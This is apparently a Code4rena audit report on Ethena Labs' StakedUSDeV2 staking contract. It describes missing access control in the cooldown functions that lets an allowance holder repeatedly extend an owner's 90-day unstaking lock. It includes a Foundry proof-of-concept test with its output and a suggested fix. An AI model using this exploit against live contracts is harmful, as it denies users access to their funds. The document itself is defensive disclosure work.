Ethena Labs - ptsanev's results

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDeV2.sol#L111-L122 https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDeV2.sol#L95-L106

Vulnerability details

Impact

The cooldownAssets() and cooldownShares() functions of the staking contract are used to start the cooldown period for either asset or shares conversions for a given user, provided as an argument. A lack of access control would allow malicious users with allowance for the USDe to prevent them from unstaking. A malicious allowance spender can extend the cooldown period by simply calling the function and covering the minimal amount threshold for the owner.

Proof of Concept

Add the following test to StakedUSDeV2.cooldownEnabled.t.sol:

function testCanDosWithdrawal() public {
    vm.startPrank(bob);
    stakedUSDe.approve(alice, type(uint256).max);
    vm.stopPrank();

     uint256 amount = 100000 ether;

    _mintApproveDeposit(alice, amount);
    _mintApproveDeposit(bob, amount);

    vm.startPrank(bob);
    stakedUSDe.cooldownShares(1 ether, bob);
    vm.stopPrank();

    (uint104 cooldownEndFirst, ) = stakedUSDe.cooldowns(bob);

    vm.warp(cooldownEndFirst + 1);

    vm.startPrank(alice);
    stakedUSDe.cooldownShares(1 ether, bob);
    vm.stopPrank();

    (uint104 cooldownEndSecond, ) = stakedUSDe.cooldowns(bob);

    console.log("Cooldown end 1: ", cooldownEndFirst);
    console.log("Cooldown end 2: ", cooldownEndSecond);
  }

[PASS] testCanDosWithdrawal() (gas: 342615)
Logs:
  Cooldown end 1:  7776001
  Cooldown end 2:  15552002

As you can see, the cooldown period does indeed increase even if the caller is not the owner of the tokens, as long as the malicious actor has allowance on the tokens, which isn't hard and can be the case for a number of reasons. The DoS is not permanent, due to the allowance factor, but it can indeed be very long, since the default set cooldown period is 90 days. There is a possible race condition by front-running the allowance cancellation with yet another cooldown increase, so 90 days is the bare-minimum time a user can be unwillingly locked out from unstaking.

Tools Used

Manual Review

Recommended Mitigation Steps

Do not allow arbitrary users to tamper with others' cooldown periods by requiring only the owner to be the caller of the 2 functions.

Assessed type

Access Control